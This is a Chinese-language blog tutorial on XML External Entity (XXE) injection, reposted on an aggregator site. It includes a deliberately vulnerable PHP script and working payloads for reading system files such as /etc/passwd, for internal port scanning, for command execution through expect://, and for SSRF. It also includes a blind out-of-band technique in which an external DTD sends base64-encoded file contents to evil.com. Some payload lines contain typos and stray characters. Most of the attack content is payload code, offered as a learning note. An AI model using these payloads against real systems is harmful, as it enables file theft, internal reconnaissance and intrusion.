码迷,mamicode.com
首页 > 其他好文 > 详细

XXE (XML External Entity Injection) :XML外部实体注入

时间:2017-07-18 00:01:14      阅读:424      评论:0      收藏:0      [点我收藏+]

标签:doctype   tac   tab   tde   特性   msu   load   required   公告   

XXE (XML External Entity Injection)

0x01 什么是XXE

XML外部实体注入
若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入

0x02 XXE利用

*简单文件读取

XMLInject.php

<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);

$xmlfile = file_get_contents(‘php://input‘);
$dom = new DOMDocument();

# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo "You have logged in as user $user";`?>

file_get_content(‘php://input‘)接收post数据,xml数据
XML.txt

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>`</creds>

导致可以读出etc/passwd文件
在使用file://协议时,有以下几种格式:

file//host/path
* Linux
 file:///etc/passwd
*  Unix
 file://localhost/etc/fstab
 file:///localhost/etc/fstab
*  Windows
 file:///c:/windows/win.ini
 file://localhost/c:/windows/win.ini
* (下面这两种在某些浏览器里是支持的)
 file:///c|windows/win.ini
 file://localhost/c|windows/win.ini

XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE root [
 <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
 ]>
 <root><foo>&content;</foo></root>

*端口扫描

加载外部DTD时有两种加载方式,一种为私有private,第二种为公告public

私有类型DTD加载:

<!ENTITY private_dtd SYSTEM "DTD_location">

公共类型DTD加载:

<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>

因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。

*利用DTD进行数据回显

有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE root[    
 <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">     
 <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">    
 %dtd;     
 %send;]>
 <root></root>

evil.dtd

 <!ENTITY % payload "<!ENTITY &#x25; send SYSTEMhttp://evil.com/?content=%file;‘>">
 %payload;

在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容

*远程命令执行

需要 PHP开启了PECL上的Expect扩展

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE root [
  <!ENTITY content SYSTEM "expect://dir .">
 ]>
 <root><foo>&content;</foo></root>

*攻击内网网站

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE root [
  <!ENTITY exp SYSTEM "http://192.168.1.103/payload">
 ]>
 <root><foo>&exp;</foo></root>

利用外部实体构造payload向内网其他机器发出请求
DTD:
普通实体:DTD中定义,XML中使用,使用格式: &名;  
参数实体:DTD中定义,定义的时候要用%,DTD中使用,使用格式: %名;
普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。  
如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。

0x03 XXE漏洞挖掘

0x04 参考链接

https://b1ngz.github.io/XXE-learning-note/              http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/
https://security.tencent.com/index.php/blog/msg/69          http://rickgray.me/2015/06/08/xml-entity-attack-review.html              http://www.cnblogs.com/mengdd/archive/2013/05/30/3107361.html

XXE (XML External Entity Injection) :XML外部实体注入

标签:doctype   tac   tab   tde   特性   msu   load   required   公告   

原文地址:http://www.cnblogs.com/vincebye/p/7197484.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!